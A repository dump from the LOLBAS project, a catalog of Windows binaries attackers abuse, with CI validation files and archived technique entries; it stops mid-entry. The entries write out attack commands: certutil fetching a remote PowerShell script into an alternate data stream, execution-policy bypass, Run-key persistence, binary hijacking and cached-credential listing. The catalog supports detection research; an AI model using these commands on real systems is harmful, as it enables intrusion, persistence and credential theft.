[ { "path": ".gitattributes", "content": "*.yml text eol=lf\n" }, { "path": ".github/.yamllint", "content": "---\nextends: default\nyaml-files:\n - '*.yml'\nrules:\n new-line-at-end-of-file:\n level: error\n trailing-spaces:\n level: error\n line-length:\n max: 1000\n level: warning\n new-lines:\n level: error\n indentation:\n level: error\n document-start:\n present: true\n level: error\n" }, { "path": ".github/CODEOWNERS", "content": "* @LOLBAS-Project/lolbas-team\n" }, { "path": ".github/workflows/gh-pages.yml", "content": "---\nname: Update LOLBAS-Project.github.io\non:\n workflow_run:\n workflows: [\"PUSH & PULL REQUEST - YAML Lint and Schema Validation Checks\"]\n types: [completed]\n branches: [master]\n\njobs:\n build:\n runs-on: ubuntu-latest\n if: ${{ github.event.repository.fork == false && github.event.workflow_run.conclusion == 'success' }}\n steps:\n - uses: actions/checkout@v2\n\n - name: Change .yml to .md\n run: |\n for x in $(find yml/ -name '*.yml'); do echo \"---\" >> \"$x\"; mv \"$x\" \"${x/%\\.yml/.md}\"; done\n mv yml/OSBinaries yml/Binaries\n mv yml/OSLibraries yml/Libraries\n mv yml/OSScripts yml/Scripts\n rm -r yml/HonorableMentions\n\n - name: Deploy to LOLBAS-Project.github.io repo\n uses: peaceiris/actions-gh-pages@v3\n with:\n deploy_key: ${{ secrets.ACTIONS_DEPLOY_KEY }}\n external_repository: LOLBAS-Project/LOLBAS-Project.github.io\n publish_branch: master\n publish_dir: yml\n destination_dir: _lolbas\n enable_jekyll: true\n keep_files: false\n commit_message: \"Applying update \"\n user_name: 'github-actions[bot]'\n user_email: 'github-actions[bot]@users.noreply.github.com'\n" }, { "path": ".github/workflows/validation.py", "content": "import glob\nimport os\nimport sys\nfrom typing import List, Literal, Optional\n\nimport yaml\nfrom pydantic import BaseModel, HttpUrl, RootModel, ValidationError, constr, model_validator, field_validator, ConfigDict\n\n# Disable datetime parsing\nyaml.SafeLoader.yaml_implicit_resolvers = {k: [r for r in v if r[0] != 'tag:yaml.org,2002:timestamp'] for k, v in yaml.SafeLoader.yaml_implicit_resolvers.items()}\n\n\nsafe_str = constr(pattern=r'^([a-zA-Z0-9\\s.,!?\\'\"():;\\-\\+_*#@/\\\\&%~=]|`[a-zA-Z0-9\\s.,!?\\'\"():;\\-\\+_*#@/\\\\&<>%\\{\\}~=]+`|->)+$')\n\n\nclass LolbasModel(BaseModel):\n model_config = ConfigDict(extra=\"forbid\")\n\n\nclass AliasItem(LolbasModel):\n Alias: Optional[str]\n\n\nclass TagItem(RootModel[dict[constr(pattern=r'^[A-Z]'), str]]):\n pass\n\n\nclass CommandItem(LolbasModel):\n Command: str\n Description: safe_str\n Usecase: safe_str\n Category: Literal['ADS', 'AWL Bypass', 'Compile', 'Conceal', 'Copy', 'Credentials', 'Decode', 'Download', 'Dump', 'Encode', 'Execute', 'Reconnaissance', 'Tamper', 'UAC Bypass', 'Upload']\n Privileges: str\n MitreID: constr(pattern=r'^T[0-9]{4}(\\.[0-9]{3})?$')\n OperatingSystem: str\n Tags: Optional[List[TagItem]] = None\n\n\nclass FullPathItem(LolbasModel):\n Path: constr(pattern=r'^(([cC]:)\\\\([a-zA-Z0-9\\-\\_\\. \\(\\)<>]+\\\\)*([a-zA-Z0-9_\\-\\.]+\\.[a-z0-9]{3})|no default)$')\n\n\nclass CodeSampleItem(LolbasModel):\n Code: str\n\n\nclass DetectionItem(LolbasModel):\n IOC: Optional[str] = None\n Sigma: Optional[HttpUrl] = None\n Analysis: Optional[HttpUrl] = None\n Elastic: Optional[HttpUrl] = None\n Splunk: Optional[HttpUrl] = None\n BlockRule: Optional[HttpUrl] = None\n\n @model_validator(mode=\"after\")\n def validate_exclusive_urls(cls, values):\n url_fields = ['IOC', 'Sigma', 'Analysis', 'Elastic', 'Splunk', 'BlockRule']\n present = [field for field in url_fields if values.__dict__.get(field) is not None]\n\n if len(present) != 1:\n raise ValueError(f\"Exactly one of the following must be provided: {url_fields}.\", f\"Currently set: {present or 'none'}\")\n\n return values\n\n\nclass ResourceItem(LolbasModel):\n Link: HttpUrl\n\n\nclass AcknowledgementItem(LolbasModel):\n Person: str\n Handle: Optional[constr(pattern=r'^(@(\\w){1,15})?$')] = None\n\n\nclass MainModel(LolbasModel):\n Name: str\n Description: safe_str\n Aliases: Optional[List[AliasItem]] = None\n Author: str\n Created: constr(pattern=r'\\d{4}-\\d{2}-\\d{2}')\n Commands: List[CommandItem]\n Full_Path: List[FullPathItem]\n Code_Sample: Optional[List[CodeSampleItem]] = None\n Detection: Optional[List[DetectionItem]] = None\n Resources: Optional[List[ResourceItem]] = None\n Acknowledgement: Optional[List[AcknowledgementItem]] = None\n\n\nif __name__ == \"__main__\":\n def escaper(x): return x.replace('%', '%25').replace('\\r', '%0D').replace('\\n', '%0A')\n\n yaml_files = glob.glob(\"yml/**\", recursive=True)\n\n if not yaml_files:\n print(\"No YAML files found under 'yml/**'.\")\n sys.exit(-1)\n\n has_errors = False\n for file_path in yaml_files:\n if os.path.isfile(file_path) and not file_path.startswith('yml/HonorableMentions/'):\n try:\n with open(file_path, 'r', encoding='utf-8') as f:\n data = yaml.safe_load(f)\n MainModel(**data)\n print(f\"✅ Valid: {file_path}\")\n except ValidationError as ve:\n print(f\"❌ Validation error in {file_path}:\\n{ve}\\n\")\n for err in ve.errors():\n # GitHub Actions error format\n print(err)\n path = '.'.join([str(x) for x in err.get('loc', [None])])\n msg = err.get('msg', 'Unknown validation error')\n print(f\"::error file={file_path},line=1,title={escaper(err.get('type') or 'Validation error')}::{escaper(msg)}: {escaper(path)}\")\n has_errors = True\n except Exception as e:\n print(f\"⚠️ Error processing {file_path}: {e}\\n\")\n print(f\"::error file={file_path},line=1,title=Processing error::Error processing file: {escaper(e)}\")\n has_errors = True\n\n sys.exit(-1 if has_errors else 0)\n" }, { "path": ".github/workflows/yaml-linting.yml", "content": "---\nname: PUSH & PULL REQUEST - YAML Lint and Schema Validation Checks\non: [push,pull_request]\n\njobs:\n lintFiles:\n if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v3\n\n - name: Check file extensions\n run: |\n files=$(find \"$GITHUB_WORKSPACE/yml\" -type f -not -name \"*.yml\");\n if [[ $files ]]; then\n echo \"::error::Files with unexpected extension found, please ensure you use '.yml' (all lower case) for files in the yml/ folder.\";\n for i in $files; do echo \"::error file=$i,line=1::Unexpected extension\"; done\n exit 1;\n fi\n unset files\n\n - name: Check duplicate file names\n run: |\n files=$(find \"$GITHUB_WORKSPACE/yml/OSBinaries\" \"$GITHUB_WORKSPACE/yml/OtherMSBinaries\" -type f -printf '%h %f\\n' -iname \"*.yml\" | sort -t ' ' -k 2,2 -f | uniq -i -f 1 --all-repeated=separate | tr ' ' '/')\n if [[ $files ]]; then\n echo \"::error::Files with duplicate filenames detected, please make sure you don't create duplicate entries.\";\n for i in $files; do echo \"::error file=$i,line=1::Duplicate filename\"; done\n exit 1;\n fi\n unset files\n\n - name: Install python dependencies\n run: pip install yamllint==1.37.1 pydantic==2.11.9\n\n - name: Lint YAML files\n run: yamllint -c .github/.yamllint yml/**/\n\n - name: Validate YAML schemas\n run: python3 .github/workflows/validation.py\n" }, { "path": ".github/yaml-lint-reviewdog.yml.bak", "content": "---\nname: PULL_REQUEST - YAML Lint with Reviewdog & Schema Checks\non: [pull_request]\n\njobs:\n lintFiles:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v3\n - name: Run yamllint\n uses: reviewdog/action-yamllint@v1\n with:\n level: error\n reporter: github-pr-review # Change reporter.\n yamllint_flags: '--config-file .github/.yamllint yml/**/*.yml'\n - name: Validate OSBinaries YAML Schema\n uses: cketti/action-pykwalify@v0.3-temp-fix\n with:\n files: yml/OSBinaries/*.yml\n schema: YML-Schema.yml\n - name: Validate OSLibraries YAML Schema\n uses: cketti/action-pykwalify@v0.3-temp-fix\n with:\n files: yml/OSLibraries/*.yml\n schema: YML-Schema.yml\n - name: Validate OSScripts YAML Schema\n uses: cketti/action-pykwalify@v0.3-temp-fix\n with:\n files: yml/OSScripts/*.yml\n schema: YML-Schema.yml\n - name: Validate OtherMSBinaries YAML Schema\n uses: cketti/action-pykwalify@v0.3-temp-fix\n with:\n files: yml/OtherMSBinaries/*.yml\n schema: YML-Schema.yml\n" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Explorer.yml", "content": "---\nName: Explorer.exe\nDescription: Execute\nAuthor: ''\nCreated: '2018-05-25'\nCategories: []\nCommands:\n - Command: explorer.exe calc.exe\n Description: 'Executes calc.exe as a subprocess of explorer.exe.'\nFull_Path:\n - c:\\windows\\explorer.exe\n - c:\\windows\\sysWOW64\\explorer.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/bohops/status/986984122563391488\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Netsh.yml", "content": "---\nName: Netsh.exe\nDescription: Execute, Surveillance\nAuthor: ''\nCreated: '2018-05-25'\nCategories: []\nCommands:\n - Command: |\n netsh.exe trace start capture=yes filemode=append persistent=yes tracefile=\\\\server\\share\\file.etl IPv4.Address=!()\n netsh.exe trace show status\n Description: Capture network traffic on remote file share.\n - Command: netsh.exe add helper C:\\Path\\file.dll\n Description: Load (execute) NetSh.exe helper DLL file.\n - Command: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1\n Description: Forward traffic from the listening address and proxy to a remote system.\nFull_Path:\n - C:\\Windows\\System32\n - C:\\Windows\\SysWOW64\nCode_Sample: []\nDetection: []\nResources:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Persistence/Netsh_Helper_DLL.md\n - https://attack.mitre.org/wiki/Technique/T1128\n - https://twitter.com/teemuluotio/status/990532938952527873\nAcknowledgement:\n - Person: ''\n - Handle: ''" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Nltest.yml", "content": "---\nName: Nltest.exe\nDescription: Credentials\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: nltest.exe /SERVER:192.168.1.10 /QUERY\n Description: ''\nFull_Path:\n - c:\\windows\\system32\\nltest.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/sysopfb/status/986799053668139009\n - https://ss64.com/nt/nltest.html\nAcknowledgement:\n - Person: Sysopfb\n Handle: '@sysopfb'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Openwith.yml", "content": "---\nName: Openwith.exe\nDescription: Execute\nAuthor: ''\nCreated: '2018-05-25'\nCommands:\n - Command: OpenWith.exe /c C:\\test.hta\n Description: Opens the target file with the default application.\n - Command: OpenWith.exe /c C:\\testing.msi\n Description: Opens the target file with the default application.\nFull_Path:\n - c:\\windows\\system32\\Openwith.exe\n - c:\\windows\\sysWOW64\\Openwith.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/harr0ey/status/991670870384021504\nAcknowledgement:\n - Person: Matt harr0ey\n Handle: '@harr0ey'" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Powershell.yml", "content": "---\nName: Powershell.exe\nDescription: Execute, Read ADS\nAuthor: ''\nCreated: '2018-05-25'\nCommands:\n - Command: powershell -ep bypass - < c:\\temp:ttt\n Description: Execute the encoded PowerShell command stored in an Alternate Data Stream (ADS).\nFull_Path:\n - C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\n - C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/Moriarty_Meng/status/984380793383370752\nAcknowledgement:\n - Person: Moriarty\n Handle: '@Moriarty_Meng'" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Psr.yml", "content": "---\nName: Psr.exe\nDescription: Surveillance\nAuthor: ''\nCreated: '2018-05-25'\nCategories: []\nCommands:\n - Command: psr.exe /start /gui 0 /output c:\\users\\user\\out.zip\n Description: Capture screenshots of the desktop and save them in the target .ZIP file.\n - Command: psr.exe /start /maxsc 100 /gui 0 /output c:\\users\\user\\out.zip\n Description: Capture a maximum of 100 screenshots of the desktop and save them in the target .ZIP file.\n - Command: psr.exe /stop\n Description: Stop the Problem Step Recorder.\nFull_Path:\n - C:\\Windows\\System32\\Psr.exe\n - C:\\Windows\\SysWOW64\\Psr.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf\nAcknowledgement:\n - Person: ''\n - Handle: ''\n" }, { "path": "Archive-Old-Version/LOLUtilz/OSBinaries/Robocopy.yml", "content": "---\nName: Robocopy.exe\nDescription: Copy\nAuthor: ''\nCreated: 2018-05-25\nCategories: []\nCommands:\n - Command: Robocopy.exe C:\\SourceFolder C:\\DestFolder\n Description: Copy the entire contents of the SourceFolder to the DestFolder.\n - Command: Robocopy.exe \\\\SERVER\\SourceFolder C:\\DestFolder\n Description: Copy the entire contents of the SourceFolder to the DestFolder.\nFull_Path:\n - c:\\windows\\system32\\binary.exe\n - c:\\windows\\sysWOW64\\binary.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://social.technet.microsoft.com/wiki/contents/articles/1073.robocopy-and-a-few-examples.aspx\nAcknowledgement:\n - Person: ''\n - Handle: ''" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/AcroRd32.yml", "content": "---\nName: AcroRd32.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Replace C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe by your binary\n Description: Hijack RdrCEF.exe with a payload executable to launch when opening Adobe\nFull_Path:\n - C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/pabraeken/status/997997818362155008\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Gpup.yml", "content": "---\nName: Gpup.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Gpup.exe -w whatever -e c:\\Windows\\System32\\calc.exe\n Description: Execute another command through gpup.exe (Notepad++ binary).\nFull_Path:\n - 'C:\\Program Files (x86)\\Notepad++\\updater\\gpup.exe '\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/pabraeken/status/997892519827558400\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Nlnotes.yml", "content": "---\nName: Nlnotes.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: NLNOTES.EXE /authenticate \"=N:\\Lotus\\Notes\\Data\\notes.ini\" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }\n Description: Run PowerShell via LotusNotes.\nFull_Path:\n - C:\\Program Files (x86)\\IBM\\Lotus\\Notes\\Notes.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://gist.github.com/danielbohannon/50ec800e92a888b7d45486e5733c359f\n - https://twitter.com/HanseSecure/status/995578436059127808\nAcknowledgement:\n - Person: Daniel Bohannon\n Handle: '@danielhbohannon'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Notes.yml", "content": "---\nName: Notes.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Notes.exe \"=N:\\Lotus\\Notes\\Data\\notes.ini\" -Command if((Get-ExecutionPolicy) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }\n Description: Run PowerShell via LotusNotes.\nFull_Path:\n - C:\\Program Files (x86)\\IBM\\Lotus\\Notes\\notes.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://gist.github.com/danielbohannon/50ec800e92a888b7d45486e5733c359f\n - https://twitter.com/HanseSecure/status/995578436059127808\nAcknowledgement:\n - Person: Daniel Bohannon\n Handle: '@danielhbohannon'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml", "content": "---\nName: Nvudisp.exe\nDescription: Execute, Copy, Add registry, Create shortcut, kill process\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Nvudisp.exe System calc.exe\n Description: Execute calc.exe as a subprocess.\n - Command: Nvudisp.exe Copy test.txt,test-2.txt\n Description: Copy fila A to file B.\n - Command: Nvudisp.exe SetReg HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\malware=malware.exe\n Description: Add/Edit a Registry key value.\n - Command: Nvudisp.exe CreateShortcut test.lnk,\"Test\",\"c:\\windows\\system32\\calc.exe\\\",\"\",\"c:\\windows\\system32\\\"\n Description: Create shortcut file.\n - Command: Nvudisp.exe KillApp calculator.exe\n Description: Kill a process.\n - Command: Nvudisp.exe Run foo\n Description: Run process\nFull_Path:\n - C:\\windows\\system32\\nvuDisp.exe\nCode_Sample: []\nDetection: []\nResources:\n - http://sysadminconcombre.blogspot.ca/2018/04/run-system-commands-through-nvidia.html\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Nvuhda6.yml", "content": "---\nName: Nvuhda6.exe\nDescription: Execute, Copy, Add registry, Create shortcut, kill process\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: nvuhda6.exe System calc.exe\n Description: Execute calc.exe as a subprocess.\n - Command: nvuhda6.exe Copy test.txt,test-2.txt\n Description: Copy fila A to file B.\n - Command: nvuhda6.exe SetReg HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\malware=malware.exe\n Description: Add/Edit a Registry key value\n - Command: nvuhda6.exe CreateShortcut test.lnk,\"Test\",\"C:\\Windows\\System32\\calc.exe\",\"\",\"C:\\Windows\\System32\\\"\n Description: Create shortcut file.\n - Command: nvuhda6.exe KillApp calc.exe\n Description: Kill a process.\n - Command: nvuhda6.exe Run foo\n Description: Run process\nFull_Path:\n - Missing\nCode_Sample: []\nDetection: []\nResources:\n - http://www.hexacorn.com/blog/2017/11/10/reusigned-binaries-living-off-the-signed-land/\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/ROCCAT_Swarm.yml", "content": "---\nName: ROCCAT_Swarm.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Replace ROCCAT_Swarm_Monitor.exe with your binary.exe\n Description: Hijack ROCCAT_Swarm_Monitor.exe and launch payload when executing ROCCAT_Swarm.exe\nFull_Path:\n - C:\\Program Files (x86)\\ROCCAT\\ROCCAT Swarm\\\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/pabraeken/status/994213164484001793\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/RunCmd_X64.yml", "content": "---\nName: RunCmd_X64.exe\nDescription: A tool to execute a command file\nAuthor: Bart\nCreated: 2019-03-17\nCommands:\n - Command: RunCmd_X64 file.cmd /F\n Description: Launch command file and hide the console window\n Usecase: Run applications and scripts using Acer's RunCmd\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\nFull_Path:\n- Path: C:\\OEM\\Preload\\utility\nCode_Sample:\n- Code:\nDetection:\n- IOC: RunCmd_X64.exe spawned\nResources:\n - Link: https://bartblaze.blogspot.com/2019/03/run-applications-and-scripts-using.html\n - Link: https://twitter.com/bartblaze/status/1107390776147881984\nAcknowledgement:\n - Person: Bart\n Handle: '@bartblaze'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Setup.yml", "content": "---\nName: Setup.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Run Setup.exe\n Description: Hijack hpbcsiServiceMarshaller.exe and run Setup.exe to launch a payload.\nFull_Path:\n - C:\\LJ-Ent-700-color-MFP-M775-Full-Solution-15315\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/pabraeken/status/994381620588236800\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Upload.yml", "content": "---\nName: Update.exe\nDescription: Binary to update the existing installed Nuget/squirrel package. Part of Whatsapp installation.\nAuthor: 'Jesus Galvez'\nCreated: '2020-11-01'\nCommands:\n - Command: Update.exe --processStart payload.exe --process-start-args \"whatever args\"\n Description: Copy your payload into \"%localappdata%\\Whatsapp\\app-[version]\\\". Then run the command. Update.exe will execute the file you copied.\n Usecase: Execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Whatsapp installed\nFull_Path:\n - Path: '%localappdata%\\Whatsapp\\Update.exe'\nDetection:\n - IOC: '\"%localappdata%\\Whatsapp\\Update.exe\" spawned an unknown process'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/Usbinst.yml", "content": "---\nName: Usbinst.exe\nDescription: Execute\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: Usbinst.exe InstallHinfSection \"DefaultInstall 128 c:\\temp\\calc.inf\"\n Description: Execute calc.exe through DefaultInstall Section Directive in INF file.\nFull_Path:\n - C:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers64\\Usbinst.exe\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/pabraeken/status/993514357807108096\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", "content": "---\nName: VBoxDrvInst.exe\nDescription: Persistence\nAuthor: ''\nCreated: 2018-05-25\nCommands:\n - Command: VBoxDrvInst.exe driver executeinf c:\\temp\\calc.inf\n Description: Set registry key-value for persistance via INF file call through VBoxDrvInst.exe\nFull_Path:\n - C:\\Program Files\\Oracle\\VirtualBox Guest Additions\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/pabraeken/status/993497996179492864\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherBinaries/aswrundll.yml", "content": "Name: aswrundll.exe\nDescription: This process is used by AVAST antivirus to run and execute any modules\nAuthor: Eli Salem\nCreated: '2019-03-19'\nCommands:\n - Command: '\"C:\\Program Files\\Avast Software\\Avast\\aswrundll\" \"C:\\Users\\Public\\Libraries\\tempsys\\module.dll\"'\n Description: Load and execute modules using aswrundll\n Usecase: Execute malicious modules using aswrundll.exe\n Category: Execute\n Privileges: Any\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\nFull_Path:\n- Path: 'C:\\Program Files\\Avast Software\\Avast\\aswrundll'\nCode_Sample: \n- Code: '[\"C:\\Program Files\\Avast Software\\Avast\\aswrundll\" \"C:\\Users\\Public\\Libraries\\tempsys\\module.dll\" \"C:\\Users\\module.dll\"]'\nResources:\n - Link: https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research\nAcknowledgement:\n - Person: Eli Salem \n handle: 'https://www.linkedin.com/in/eli-salem-954728150'" }, { "path": "Archive-Old-Version/LOLUtilz/OtherMSBinaries/Winword.yml", "content": "---\nName: winword.exe\nDescription: Document editor included with Microsoft Office.\nAuthor: 'Oddvar Moe'\nCreated: 2018-05-25\nCommands:\n - Command: winword.exe /l dllfile.dll\n Description: Launch DLL payload.\n Usecase: Execute a locally stored DLL using winword.exe.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\nFull_Path:\n - Path: c:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WINWORD.EXE\nCode_Sample:\n - Code:\nDetection:\n - IOC:\nResources:\n - Link: https://twitter.com/vysecurity/status/884755482707210241\n - Link: https://twitter.com/Hexacorn/status/885258886428725250\nAcknowledgement:\n - Person: Vincent Yiu (cmd)\n Handle: '@@vysecurity'\n - Person: Adam (Internals)\n Handle: '@Hexacorn'\n" }, { "path": "Archive-Old-Version/LOLUtilz/OtherScripts/Testxlst.yml", "content": "---\nName: testxlst.js\nDescription: Script included with Pywin32.\nAuthor: 'Oddvar Moe'\nCreated: 2018-05-25\nCommands:\n - Command: cscript testxlst.js C:\\test\\test.xml c:\\test\\test.xls c:\\test\\test.out\n Description: Test Jscript included in Python tool to perform XSL transform (for payload execution).\n Category: Execution\n Privileges: User\n MitreID: T1064\n OperatingSystem: Windows\n - Command: wscript testxlst.js C:\\test\\test.xml c:\\test\\test.xls c:\\test\\test.out\n Description: Test Jscript included in Python tool to perform XSL transform (for payload execution).\n Category: Execution\n Privileges: User\n MitreID: T1064\n OperatingSystem: Windows\nFull_Path:\n - c:\\python27amd64\\Lib\\site-packages\\win32com\\test\\testxslt.js (Visual Studio Installation)\nCode_Sample: []\nDetection: []\nResources:\n - https://twitter.com/bohops/status/993314069116485632\n - https://github.com/mhammond/pywin32\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "Archive-Old-Version/OSBinaries/Atbroker.exe.md", "content": "## Atbroker.exe\n* Functions: Execute\n```\n\nATBroker.exe /start malware\nStart a registered Assistive Technology (AT).\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/\n \n* Full path: \n * C:\\Windows\\System32\\Atbroker.exe\n * C:\\Windows\\SysWOW64\\Atbroker.exe\n \n* Notes: Thanks to Adam - @hexacorn Modifications must be made to the system registry to either register or modify an existing Assistibe Technology (AT) service entry.\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Bash.exe.md", "content": "## Bash.exe\n* Functions: Execute\n```\n\nbash.exe -c calc.exe\nExecute calc.exe.\n```\n \n* Resources: \n * \n \n* Full path: \n * ?\n \n* Notes: Thanks to ? \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Bitsadmin.exe.md", "content": "## Bitsadmin.exe\n* Functions: Execute, Download, Copy, Read ADS\n```\n\nbitsadmin /create 1\nbitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe\nbitsadmin /SetNotifyCmdLine 1 c:\\data\\playfolder\\1.txt:cmd.exe NULL\nbitsadmin /RESUME 1\nbitsadmin /complete 1\n\n\n\n\nCreate a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.\n\nbitsadmin /create 1\nbitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\\data\\playfolder\\autoruns.exe\nbitsadmin /RESUME 1\nbitsadmin /complete 1\n\nCreate a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.\n\nbitsadmin /create 1 & bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset\nOne-liner version that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.\n\nbitsadmin /create 1 & bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\\data\\playfolder\\1.txt:cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset\nOne-Liner version that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.\n```\n \n* Resources: \n * https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - Slide 53\n * https://www.youtube.com/watch?v=_8xJaaQlpBo\n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n \n* Full path: \n * c:\\Windows\\System32\\bitsadmin.exe\n * c:\\Windows\\SysWOW64\\bitsadmin.exe\n \n* Notes: Thanks to Rob Fuller - @mubix , Chris Gates - @carnal0wnage, Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Certutil.exe.md", "content": "## Certutil.exe\n* Functions: Download, Add ADS, Decode, Encode\n```\n\ncertutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe\nDownload and save 7zip to disk in the current folder.\n\ncertutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\\temp:ttt\nDownload and save a PS1 file to an Alternate Data Stream (ADS).\n\ncertutil -encode inputFileName encodedOutputFileName\ncertutil -decode encodedInputFileName decodedOutputFileName\n\nCommands to encode and decode a file using Base64.\n```\n \n* Resources: \n * https://twitter.com/Moriarty_Meng/status/984380793383370752\n * https://twitter.com/mattifestation/status/620107926288515072\n \n* Full path: \n * c:\\windows\\system32\\certutil.exe\n * c:\\windows\\sysWOW64\\certutil.exe\n \n* Notes: Thanks to Matt Graeber - @mattifestation, Moriarty - @Moriarty2016 \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Cmdkey.exe.md", "content": "## Cmdkey.exe\n* Functions: Credentials\n```\n\ncmdkey /list\nList cached credentials.\n```\n \n* Resources: \n * https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation\n \n* Full path: \n * c:\\windows\\system32\\cmdkey.exe\n * c:\\windows\\sysWOW64\\cmdkey.exe\n \n* Notes: \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Cmstp.exe.md", "content": "## 